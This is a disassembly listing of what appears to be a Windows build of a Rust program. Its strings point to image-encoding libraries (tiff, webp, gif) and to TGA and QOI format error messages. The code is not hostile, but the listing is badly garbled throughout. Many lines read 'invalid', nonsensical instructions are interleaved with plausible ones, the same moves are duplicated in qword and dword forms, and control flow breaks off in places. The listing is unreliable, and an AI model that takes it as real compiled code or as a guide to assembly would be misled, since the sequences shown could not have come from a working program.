mov rax, qword [rbp + 0xe0]
add qword [rax], rdx
mov r13, qword [rbp - 0x48]
mov rax, qword [rbp + 0xe8]
add qword [rax], r13
mov rcx, rbx
call fcn.14003f344
movzx eax, byte [rbp - 0x40]
cmp eax, 1
je 0x140040b1f
cmp eax, 2
je 0x140040aef
cmp eax, 3
jne 0x140040b48
mov rdx, qword [rbp + 0xd8]
cmp r13, rdx
ja 0x140040d58
mov dil, 1
xor eax, eax
jmp 0x140040b36
mov cl, 0x25
lea rdx, str.No_more_data_but_no_end_marker_detected
push 0x27
pop r8
call fcn.140037b14
mov r12, rax
mov al, 1
test al, al
setne al
jne 0x140040b75
cmp dil, 1
jne 0x140040b75
test al, al
je 0x1400409be
cmp byte [rbp + 0x118], 0
je 0x140040c7a
mov dl, 1
sub dl, r13b
lea rcx, [rbp + 0xb0]
call fcn.14004102f
test rax, rax
jne 0x140040c96
lea rcx, [rbp + 0xb0]
mov edx, r15d
call fcn.14004102f
test rax, rax
jne 0x140040c96
lea rdx, [0x1402613ac]
push 0xa
pop r8
mov cl, 0x17
call fcn.140037b14
mov r13, rax
jmp 0x140040c99
lea r13, str.failed_to_write_whole_buffer
jmp 0x140040c57
test r13, r13
jne 0x140040c57
lea rcx, [rbp + 0xb0]
call fcn.1400411df
mov r13, rax
test rax, rax
je 0x140040c65
lea rcx, [rbp + 0xb0]
call fcn.14004115b
jmp 0x140040ca5
lea rcx, [rbp + 0xb0]
mov r13, qword [rcx + 0x28]
call fcn.14004115b
jmp 0x140040469
lea edx, [r13 - 1]
lea rcx, [rbp + 0xb0]
call fcn.14004102f
mov rcx, qword [rbp + 0x120]
test rax, rax
je 0x140040cc2
mov r13, rdx
lea rcx, [rbp + 0xb0]
call fcn.140040fc2
push 1
pop rsi
mov rax, rsi
mov rdx, r13
add rsp, 0x1c8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movzx edi, r13b
mov rdx, rcx
add rdx, rdi
jb 0x140040dd7
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tiff_0.9.1_srcencodercompressionpackbits.rs
mov rcx, r14
mov rdx, rsi
call fcn.1401c6eb0
jmp 0x140040df7
mov rdx, qword [rbp + 0x28]
call fcn.1401c66e0
lea rcx, [0x1401fa2bb]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fweezl_0.1.8_srcencode.rs
push 0x24
pop rdx
call fcn.1401c6f30
jmp 0x140040df7
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tiff_0.9.1_srcencodercompressionpackbits.rs
mov rcx, r9
mov rdx, rsi
call fcn.1401c6f20
jmp 0x140040df7
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tiff_0.9.1_srcencodercompressionpackbits.rs
mov rdx, r9
call fcn.1401c7190
jmp 0x140040df7
ud2
mov r8b, 2
call fcn.140041382
push qword [rcx]
rol byte [rax - 0x6cf0fd05], cl
xchg ebx, eax
ret 0x8b8
add byte [rax], al
add byte [rdi + 1], bh
cmovae edi, eax
mov rcx, rsi
mov r8b, 1
call fcn.140041382
movzx edx, bl
mov rcx, rsi
mov ecx, esi
mov r8d, edi
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.140041382
invalid
cmp dword [rax], eax
je 0x140041477
mov rax, qword [rsi + 8]
jmp 0x14004148f
lea rcx, [rsi + 0x18]
call case.0x14001155f.345
mov qword [rsi], 1
mov dword [rsi], 1
mov dword [rsi], 1
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rdx
add rsi, 8
test rax, rax
cmove rsi, rax
mov rax, rsi
invalid
add rsp, 0x20
pop rsi
ret
enter 0x948, 0xffffffffffffffd0
sete al
test rcx, rcx
je case.0x14000d059.390
test rdx, rdx
je case.0x14000d059.390
mov rax, qword [rcx]
mov r10, qword [rcx + 8]
or byte [rbx + rcx*4 + 2], cl
mov r9, qword [rdx + 8]
mov ecx, dword [rdx + 8]
or byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 0x2e], 0xe9
wait
mov rcx, rax
mov rdx, r10
jmp fcn.14005a06a
mov eax, dword [rcx]
invalid
mov eax, dword [rcx]
add bl, al
ret
ret
xlatb
mov rsi, rcx
mov rbx, qword [rsp + 0x110]
pushfq
and al, 0x10
adc byte [rcx], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x118]
movups xmmword [rsp + 0x20], xmm0
mov byte [rsp + 0x30], 0xf
xor byte [rdi], cl
mov rcx, rdx
mov rdx, r8
mov r8, r9
mov eax, ecx
invalid
mov r9, rbx
call fcn.1400586be
test al, al
je case.0x14000e34e.352
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
invalid
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0x80], xmm0
movaps xmmword [rsp + 0x70], xmm0
xor eax, eax
cmp rbx, rax
je 0x14004158a
movzx ecx, byte [rdi + rax]
cmp rcx, 0x10
jae 0x1400416d0
xor dword [rdx + 1], 0
invalid
invalid
inc dword [rsp + rcx*4 + 0x70]
inc rax
shr bl, 0xe4
shr bl, 0xe4
shl r14, 2
xor edx, edx
test r14, r14
je 0x140041648
cmp dword [r15 + rdx*4], 0
jne case.0x14000e34e.359
inc rdx
add r14, 0xfffffffffffffffc
cld
jmp case.0x140023121.318
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 7
mov qword [rsp + 0x28], 0x10
lea rcx, [rsp + 0x70]
and al, 0x70
and al, 0x70
and al, 0x70
lea r8, [rsp + 0x40]
mov edx, 0x10
mov r9d, 0x10
call fcn.1400586be
mov ebp, eax
xor r14d, r14d
mov rcx, rsi
xor edx, edx
mov r8b, 1
mov al, 1
call fcn.140041382
mov edx, 0xf
add byte [rax], al
add byte [rax], al
mov rcx, rsi
mov r8b, 4
call fcn.140041382
lea r15, [0x1401f91d0]
jmp 0x14004165e
sbb eax, dword [rax]
jmp 0x14004165e
cmp r14, 0x98
je 0x140041628
mov rax, qword [r14 + r15]
xor edx, edx
cmp rax, 0xf
ja 0x140041617
cmp dword [rsp + rax*4 + 0x70], 0
setne cl
mov r8d, ecx
rol dword [rcx - 0x77], 0xc8
and r8b, bpl
cmp r8b, 1
jne 0x140041615
movzx edx, byte [rsp + rax + 0x40]
add al, 0x40
jmp 0x140041617
mov dl, cl
mov rcx, rsi
mov r8b, 3
mov al, 3
call fcn.140041382
add r14, 8
add esi, 8
dec dword [rcx - 0x7d]
invalid
add esi, 8
jmp 0x1400415e5
cmp rbx, 0x100
je 0x140041661
cmp rbx, 0x118
add dword [rax], eax
add byte [rdi], cl
test dword [rax + rax - 0x76b80000], ebp
int1
jne case.0x1400230cc.356
mov rcx, rsi
xor edx, edx
mov r8b, 1
jmp 0x14004168c
invalid
xor edx, edx
mov rcx, rsi
add rsp, 0xb8
pop rbx
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.1400413ec
std
invalid
mov edx, 1
mov rcx, rsi
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov r8b, 1
call fcn.140041382
invalid
mov edx, 3
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rsi
mov rcx, rsi
mov r8b, 3
add ebp, eax
add ebp, edi
invalid
call fcn.140041382
mov edx, 0xfe
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, esi
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, esi
mov r8b, 8
call fcn.140041382
test bpl, bpl
je 0x1400416c0
xor r14d, r14d
cmp rbx, r14
je 0x1400416c0
movzx ecx, byte [rdi + r14]
movzx ecx, byte [rdi + rsi]
or al, 0x37
cmp rcx, 0xf
ja 0x1400416d9
movzx edx, word [rsp + rcx*2 + 0x50]
mov r8b, byte [rsp + rcx + 0x40]
mov rcx, rsi
mov ecx, esi
call fcn.140041382
inc r14
jmp 0x140041699
invalid
invalid
add rsp, 0xb8
pop rbx
pop rbp
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r14
pop r15
ret
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
sar dword [rbx + 0x1b], 0
jmp 0x1400416e0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
add eax, 0x1b7b88
mov edx, 0x10
add byte [rax], al
add al, ch
invalid
call fcn.1401c6eb0
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
and al, byte [rax]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
mov byte [rbx + 0x1b], bh
jnp case.0x14001f409.309
add byte [rdx + 0x28], bh
mov edx, 0x28
call fcn.1401c6f30
pop rax
sbb byte [rax], al
int3
sub esp, 0x28
in al, dx
sub byte [rcx - 0x77], cl
ror dword [rax - 0x7d], 1
invalid
mov r9, rdx
cmp rdx, 9
cmp edx, 9
cmp edx, 9
cli
or dword [rbx + 0xb], esi
jae 0x14004171b
jae 0x14004171b
mov rax, rcx
enter 0xffffffffffff894c, 0xffffffffffffffca
mov rdx, r9
mov edx, ecx
add rsp, 0x28
ret
mov edx, 8
mov rcx, r9
call fcn.1401c6f20
clc
push rdi
sbb byte [rax], al
int3
push rcx
and byte [rcx + 0x29], cl
sal byte [rbx + 3], 1
jae 0x140041739
invalid
add esi, dword [rcx]
rol bl, 0x48
xor eax, eax
ret
mov eax, dword [rcx]
lea r9, [rax + rdx]
mov qword [rcx], r9
mov qword [rcx + 8], r8
or r11b, al
or r11b, al
mov rcx, qword [rcx]
or dword [rax - 0x75], ecx
mov rdx, qword [rsi + 8]
mov edx, dword [rsi + 8]
push rsi
or al, ch
call fcn.14006095a
invalid
mov rcx, qword [rsi + 0x18]
mov rdx, qword [rsi + 0x20]
mov edx, dword [rsi + 0x20]
mov edx, dword [rsi + 0x20]
call fcn.14006095a
int1
int1
add dword [rax], eax
mov rcx, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
invalid
xor byte [rax - 0x75], cl
push rsi
cmp byte [rax - 0x7d], cl
add rsp, 0x20
invalid
and byte [rsi - 0x17], bl
fcompi st(1)
add dword [rax], eax
pop rsi
jmp fcn.14006095a
sub rsp, 0x28
in al, dx
sub byte [rax - 0x77], cl
invalid
invalid
mov rdi, rdx
xlatb
mov rsi, rcx
mov rcx, rdx
call case.0x14001155f.345
invalid
invalid
invalid
test rax, rax
test eax, eax
sal byte [rbx + rdx + 0x48], 0x8b
sub byte [r13 + r9*4 + 0x41], r9b
sub byte [rbp + rcx*4 + 0x41], cl
je 0x1400417a7
mov rcx, qword [rdi + 0x28]
mov ecx, dword [rdi + 0x28]
lea r8, [rcx + 1]
add dword [rcx + rcx*4 + 0x47], ecx
mov qword [rdi + 0x28], r8
mov qword [rsi], rcx
mov dword [rsi], ecx
sub byte [rax - 0x77], cl
mov dword [rsi], ecx
invalid
mov qword [rsi + 0x10], rdx
mov qword [rsi + 8], rax
add rsp, 0x28
add esp, 0x28
invalid
pop rdi
pop rsi
ret
cmp byte [rbx + 0x36740039], al
cmp dword [rcx], 0
je 0x1400417f1
add rcx, 4
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
and al, 0x30
mov qword [r9], rcx
mov dword [rcx], ecx
lea rax, fcn.140009390
mov byte [rbx], bl
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
and byte [rax - 0x73], cl
add eax, 0x248396
lea rax, [0x140289b70]
lea eax, [0x140289b70]
mov r8d, 4
mov eax, 4
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
mov rdx, rax
invalid
invalid
mov rcx, rdx
mov rdx, rax
call fcn.14002b6a0
nop
add rsp, 0x38
invalid
add esp, 0x38
cmp bl, al
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x248368
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x248368
and dword [rax + rax], 0x41
mov eax, 4
add byte [rax], al
invalid
mov r8d, 4
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
add rsp, 0x38
add esp, 0x38
jmp rax
cmp byte [rax - 0x77], cl
ror byte [rax - 0x73], 1
push rcx
lea rdx, [rcx + 4]
cmp dword [rcx], 0
add al, 0x83
cmp dword [rax], eax
je 0x140041844
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
mov qword [r9], rdx
lea rcx, fcn.140009390
or eax, 0x1b87e0
or eax, 0x1b87e0
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
and byte [rax - 0x73], cl
adc eax, 0x1bb7ee
invalid
lea rdx, [0x1401fd02a]
add byte [rcx - 0x48], al
or eax, 0xeb000000
add byte [rax], al
add bl, ch
mov r8d, 0xd
mov eax, 0xd
add byte [rax], al
add bl, ch
jmp 0x140041865
and dword [rbp + rcx*4 + 0x4c], ecx
and al, 0x30
invalid
lea r9, [rsp + 0x30]
xor byte [rcx - 0x77], cl
adc dword [rax - 0x73], ecx
or eax, 0x1b87bd
invalid
xchg dword [rbx], ebx
invalid
mov qword [r9], rdx
lea rcx, fcn.140009390
invalid
xchg dword [rbx], ebx
invalid
mov ebp, 0x48001b87
mov dword [rsp + 0x20], ecx
and al, 0x20
mov qword [rsp + 0x20], rcx
lea rdx, [0x1401fd01e]
mov edi, 0x41001bb7
mov r8d, 0xc
mov eax, 0xc
add byte [rax], al
add byte [rax - 0x77], cl
shr eax, 0x33
invalid
invalid
sahf
mov rcx, rax
call fcn.14002b6a0
nop
add rsp, 0x38
add esp, 0x38
invalid
add esp, 0x38
ret
and al, 0x48
lea ecx, [rsp + 0x20]
and al, 0x20
invalid
and byte [rax - 0x77], cl
add dword [rax - 0x73], ecx
and al, 0x28
and al, 0x28
mov qword [rcx], rax
lea rax, [rsp + 0x28]
lea eax, [rsp + 0x28]
and al, 0x28
mov qword [rax], rcx
or byte [rax - 0x73], cl
lea rcx, [0x1401c598a]
or eax, 0x1840f3
sbb byte [rax], al
mov qword [rax + 8], rcx
lea rcx, str.Invalid_TGA_height:
mov dl, 0x1b
add bl, ch
and cl, byte [rax - 0x73]
and al, 0x20
invalid
jmp 0x1400418c6
and byte [rax - 0x77], cl
mov qword [rcx], rax
add dword [rax - 0x73], ecx
lea rax, [rsp + 0x28]
and al, 0x28
and al, 0x28
mov qword [rax], rcx
mov dword [rax], ecx
lea rcx, [0x1401c598a]
mov qword [rax + 8], rcx
mov dword [rax + 8], ecx
lea rcx, str.Invalid_TGA_width:
lea ecx, [0x1401fcb68]
movabs byte [0x3824448d4c001bb2], al
lea r8, [rsp + 0x38]
mov qword [r8], rcx
mov dword [rax], ecx
mov ecx, 1
mov qword [r8 + 8], rcx
mov dword [rax + 8], ecx
add byte [rcx - 0x77], cl
or byte [rcx - 0x7d], cl
invalid
invalid
invalid
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
adc byte [rcx - 0x77], cl
mov qword [r8 + 0x18], rcx
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
sbb byte [rax - 0x75], cl
and byte [rax - 0x75], cl
invalid
mov edx, dword [rdx + 0x28]
push rdx
sub al, ch
invalid
test byte [rcx - 4], cl
call fcn.140006275
nop
call qword [rax + 0x68c48348]
add rsp, 0x68
push 0x50b848c3
cwde
cwde
ret
cwde
mov r15b, 0x79
jns case.0x1400089d2.451
mov edi, 0xef1dba48
movabs rdx, 0x14d1aef6a0feef1d
ret
mov edx, 0xa0feef1d
imul byte [rsi - 0x7f3ceb2f]
invalid
invalid
cmp dword [rax], ecx
jae case.0x14002e84a.218
ret
add rcx, 8
add ecx, 8
or cl, ch
jmp fcn.14001ca7a
pop rdi
mov cl, 0xfd
dec dword [rax - 0x7f]
sub esp, 0x88
in al, dx
mov byte [rax], al
add byte [rax], al
movzx eax, byte [rcx]
add dword [rbp + rcx*4 + 5], ecx
lea r8, [0x14028ba28]
cld
movabs al, byte [0x14c800463490024]
add byte [rcx + 0x63], cl
add al, 0x80
invalid
invalid
add byte [rcx + 0x63], cl
add al, 0x80
movsxd rax, dword [r8 + rax*4]
invalid
add rax, r8
jmp rax
invalid
sar bh, 0xe0
loopne 0x14004197e
add rcx, 4
add ecx, 4
lea rax, [rsp + 0x80]
add byte [rax], 0
add byte [rax - 0x77], cl
or byte [rax - 0x73], cl
invalid
invalid
mov qword [rax], rcx
mov dword [rax], ecx
lea rcx, fcn.140009390
or eax, 0x1b86c5
invalid
mov qword [rsp + 0x30], rcx
and al, 0x30
mov qword [rsp + 0x28], rax
and al, 0x28
sub byte [rax - 0x39], cl
mov qword [rsp + 0x20], 5
and al, 0x20
add eax, 0x48000000
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, str.InvalidMagicmagicInvalidChannelsInvalidColorSpacecolorspaceInvalidImageDimensionswidth
lea eax, str.InvalidMagicmagicInvalidChannelsInvalidColorSpacecolorspaceInvalidImageDimensionswidth
add eax, 0x1b874b
add byte [rbp + rcx*4 + 0xd], cl
push rax
xchg dword [rbx], ebx
lea r9, [0x1401fa0bc]
or eax, 0x1b8750
add byte [rcx - 0x48], al
or al, 0
mov r8d, 0xc
mov eax, 0xc
add byte [rax], al
jmp case.0x140040456.9
test al, 1
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
or byte [r13 + rcx*4 - 0x7c], cl
invalid
invalid
invalid
lea rax, [rcx + 8]
lea eax, [rcx + 8]
lea r8, [rsp + 0x80]
lea eax, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rcx - 0x77], cl
add byte [rax - 0x73], cl
mov qword [r8], rax
mov dword [rax], eax
lea rax, [rcx + 0x10]
adc byte [r8 - 0x7d], cl
add rcx, 4
rol dword [rsp + rcx*2], 0x8d
or eax, 0x1b867b
invalid
lea r9, fcn.140009390
add byte [rcx + rcx*4 + 0x4c], cl
mov qword [rsp + 0x70], r9
and al, 0x70
mov qword [rsp + 0x68], r8
mov dword [rsp + 0x68], eax
and al, 0x68
lea r8, str.heightInvalidImageLengthsize
invalid
sbb eax, dword [rax]
mov qword [rsp + 0x58], r8
and al, 0x58
lea r8, fcn.140009390
mov qword [rsp + 0x50], r8
and al, 0x50
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x48], ecx
and al, 0x48
lea rcx, [0x1401fa101]
lea rcx, [0x1401fa101]
lea ecx, [0x1401fa101]
xchg dword ds:[rbx], ebx
add byte [rax - 0x77], cl
and al, 0x38
and al, 0x38
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x38], ecx
lea rcx, fcn.140009390
jns case.0x14002e84a.217
xchg dword [rbx], ebx
sbb eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x30
and al, 0x30
mov qword [rsp + 0x30], rcx
xor byte [rax - 0x77], cl
mov qword [rsp + 0x28], rax
and al, 0x28
mov qword [rsp + 0x60], 6
and al, 0x60
invalid
mov qword [rsp + 0x40], 5
and al, 0x40
add eax, 0x48000000
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x20], 4
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], 4
add al, 0
add byte [rax], al
lea rax, [0x1401fa12e]
add eax, 0x1b8733
xchg dword [rbx], ebx
add byte [rbp + rcx*4 + 0xd], cl
lea r9, [0x1401fa140]
mov r8d, 0x12
adc al, byte [rax]
add byte [rax], al
xchg dword ds:[rbx], ebx
add byte [rcx - 0x48], al
adc al, byte [rax]
add byte [rax], al
mov rcx, rdx
mov rdx, rax
mov edx, eax
call fcn.14002b580
jmp 0x140041bf9
loope 0x140041a17
add byte [rax], al
loope 0x140041a17
add byte [rax], al
add byte [rax - 1], cl
ror dword [rax - 0x73], 0x84
invalid
invalid
inc rcx
lea rax, [rsp + 0x80]
lea eax, [rsp + 0x80]
and al, 0x80
add byte [rax], al
invalid
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rax], rcx
lea rcx, fcn.140009390
or eax, 0x1b8623
or byte [rax - 0x73], cl
or eax, 0x1b8623
and eax, dword [rsi - 0x76b7ffe5]
sbb eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x30], rcx
and al, 0x30
and al, 0x30
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], 0xa
mov dword [rsp + 0x20], 0xa
and al, 0x20
and byte [rdx], cl
add byte [rax], al
add byte [rax - 0x73], cl
or al, byte [rax]
add byte [rax], al
lea rax, [0x1401fa0d0]
add eax, 0x1b8689
mov dword [rsi - 0x72b3ffe5], eax
lea r9, [0x1401fa0e1]
or eax, 0x1b8693
mov r8d, 0x11
adc dword [rax], eax
add byte [rax], al
jmp case.0x140040456.9
add byte [rax], al
add byte [rax - 0x73], cl
or byte [r13 + rcx*4 - 0x7c], cl
or byte [rbp + rcx*4 - 0x7c], cl
lea rax, [rcx + 8]
lea r8, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rcx - 0x77], cl
mov dword [rax], eax
or byte [rbp + rcx*4 - 0x7c], cl
and al, 0x80
add byte [rax], al
add byte [rcx - 0x77], cl
mov dword [rax], eax
add rcx, 4
lea rax, fcn.140009390
mov dword [rax], eax
add rcx, 4
lea rax, fcn.140009390
mov qword [rsp + 0x50], rax
and al, 0x50
mov qword [rsp + 0x48], r8
and al, 0x48
lea rax, str.heightInvalidImageLengthsize
movsb byte [rdi], byte [rsi]
xchg byte [rbx], bl
add byte [rax - 0x77], cl
and al, 0x38
and al, 0x38
invalid
mov qword [rsp + 0x38], rax
lea rax, fcn.140009390
sbb eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
and al, 0x30
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x40], 6
mov qword [rsp + 0x20], 5
and al, 0x20
invalid
add byte [rax], al
invalid
invalid
and al, 0x20
add eax, 0x48000000
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1b8638
xchg byte [rbx], bl
invalid
lea rax, [0x1401fa0eb]
lea eax, [0x1401fa0eb]
xchg byte [rbx], bl
add byte [rbp + rcx*4 + 0xd], cl
xchg byte [r11], r11b
sbb eax, dword [rax]
invalid
invalid
lea r9, [0x1401fa101]
or eax, 0x1b8647
sbb eax, dword [rax]
mov r8d, 0x16
invalid
jmp case.0x14003f2eb.20
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
sbb byte [rax - 0x73], cl
lea rdx, [0x1401fa197]
adc eax, 0x1b86bf
mov edi, 0x41001b86
mov eax, 0xe
add byte [rax], al
add byte [rax], al
sbb eax, dword [rax]
mov r8d, 0xe
jmp case.0x140033b27.203
inc rcx
inc ecx
lea rax, [rsp + 0x80]
add byte [rax], 0
add byte [rax - 0x77], cl
mov qword [rax], rcx
or byte [rax - 0x73], cl
or eax, 0x1b8558
pop rax
test dword [rbx], ebx
sbb eax, dword [rax]
lea rcx, fcn.140009390
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
mov qword [rsp + 0x20], 8
mov dword [rsp + 0x20], 8
and al, 0x20
or byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x1401fa0c1]
add eax, 0x1b85af
scasd eax, dword [rdi]
test dword [rbx], ebx
add byte [rbp + rcx*4 + 0xd], cl
invalid
jl 0x140041b33
invalid
lea r9, str.channelsC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fgif_0.13.1_srcencoder.rsframe.buffer_is_too_small_for_its_width_heightNETSCAPE2.0
or eax, 0x1b7c67
sbb eax, dword [rax]
add byte [rcx - 0x48], al
sldt word [rax]
add byte [rax], al
mov r8d, 0xf
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdx
mov ecx, edx
ror dword [rax - 0x77], 1
mov rdx, rax
call fcn.14002b3e0
mov dh, 0x98
invalid
invalid
ret 0xb6e8
mov dh, 0x98
invalid
jmp 0x140041bf9
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rcx + 0x10]
invalid
invalid
invalid
lea rax, [rcx + 0x10]
lea r8, [rsp + 0x80]
lea eax, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rcx - 0x77], cl
mov qword [r8], rax
invalid
invalid
mov qword [r8], rax
add rcx, 8
lea rax, fcn.140009390
add eax, 0x1b8527
ror dword [rax], 0x48
lea eax, [0x1401fa070]
add eax, 0x1b8527
add eax, 0x1b8527
add byte [rax - 0x77], cl
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
mov qword [rsp + 0x48], r8
and al, 0x48
lea rax, [0x1401fa17c]
lea eax, [0x1401fa17c]
add eax, 0x1b8622
sbb eax, dword [rax]
mov qword [rsp + 0x38], rax
and al, 0x38
cmp byte [rax - 0x73], cl
add eax, 0x1b85e2
invalid
lea rax, fcn.140009390
mov qword [rsp + 0x30], rax
and al, 0x30
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
and al, 0x28
mov qword [rsp + 0x40], 8
and al, 0x40
or byte [rax], al
or byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], 4
mov dword [rsp + 0x20], 4
and al, 0x20
add al, 0
add byte [rax], al
lea rax, str.OutputBufferTooSmallrequiredUnexpectedBufferEndInvalidPaddingTooFewPixels
lea eax, str.OutputBufferTooSmallrequiredUnexpectedBufferEndInvalidPaddingTooFewPixels
lea r9, [0x1401fa140]
mov al, 0x85
sbb eax, dword [rax]
mov r8d, 0x14
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdx
mov rdx, rax
ror dword [rax - 0x77], 1
ret 0xefe8
invalid
out dx, eax
call fcn.14002b490
jmp 0x140041bf9
cwde
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1401fa184]
lea edx, [0x1401fa184]
adc eax, 0x1b85ce
mov r8d, 0x13
adc eax, dword [rax]
add byte [rax], al
add rsp, 0x88
invalid
add byte [rax], al
jmp rax
jmp rax
add rcx, 8
add ecx, 8
ror dword [rax], 0x4c
lea ecx, [rsp + 0x80]
mov word [rax + rax*4], fs
add byte [rax], al
invalid
lea r9, [rsp + 0x80]
mov word [rax + rax*4], fs
add byte [rax], 0
add byte [rax], al
add byte [rcx - 0x77], cl
mov qword [r9], rcx
lea rax, fcn.140009390
lea eax, [0x1401fa090]
or dword [rax - 0x73], ecx
add eax, 0x1b84b4
mov ah, 0x84
test byte [rbx], bl
sbb eax, dword [rax]
lea eax, [0x1401fa090]
sbb eax, dword [rax]
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
lea rax, str.IoError
add eax, 0x20ba70
mov edx, 0xb8410020
and byte [rax], al
mov r8d, 7
invalid
add byte [rax], al
mov rcx, rdx
mov rdx, rax
ret 0xa7e8
invalid
invalid
invalid
ror dword [rax - 0x77], 1
ret 0xa7e8
invalid
nop
add rsp, 0x88
add byte [rax], al
add bl, al
movabs rax, 0x515fb3375da5262d
mov eax, 0x5da5262d
sub eax, 0x375da526
mov bl, 0x5f
pop rdi
push rcx
ret
sub eax, 0x375da526
mov bl, 0x5f
pop rdi
movsd dword [rdi], dword [rsi]
pop rbp
invalid
pop rdi
push rcx
movabs rdx, 0x5b2ca76f8f58e43c
pop rax
invalid
ret
sub esp, 0x38
mov eax, dword [rcx]
add dword [rbp + rcx*4 + 0x40], eax
invalid
cmp byte [rbx + 0x408d4401], cl
add dword [rbp + rcx*4 + 0x40], eax
lea eax, [rax - 0x15]
jmp 0x140041ba5
add eax, 0xffffffec
xor r9d, r9d
leave
cmp r8w, 5
clc
add eax, 0xc8420f44
cmovb r9d, eax
enter 0xf41, 0xffffffffffffffb7
enter 0xf41, 0xffffffffffffffb7
movzx eax, r9w
movzx eax, cx
ror dword [rbp + rcx*4 + 5], 0x11
sahf
lea r8, [0x14028ba4c]
add eax, 0x249e11
and al, 0
add byte [rcx + 0x63], cl
add al, 0x80
invalid
movsxd rax, dword [r8 + rax*4]
invalid
add rax, r8
add eax, eax
sar bh, 0xe0
jmp rax
lea r9, [rsp + 0x30]
and al, 0x30
mov qword [r9], rcx
mov dword [rcx], ecx
lea rax, fcn.140009390
add eax, 0x1b85c5
test dword [rbx], ebx
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
sbb eax, dword [rax]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rax, str.FormatError
mov r8d, 0xb
mov eax, 0xb
